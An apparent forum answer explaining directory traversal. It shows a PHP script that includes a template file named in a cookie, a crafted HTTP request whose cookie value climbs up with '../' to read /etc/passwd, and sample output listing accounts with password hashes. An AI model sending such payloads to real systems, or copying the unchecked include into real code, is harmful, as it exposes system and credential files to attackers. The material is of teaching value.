how to use direct trnsversel?

<?php
$template = 'red.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

An attack against this system could be to send the following HTTP request:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.

UNIX /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

However, in more recent UNIX systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as still displays the usernames on the box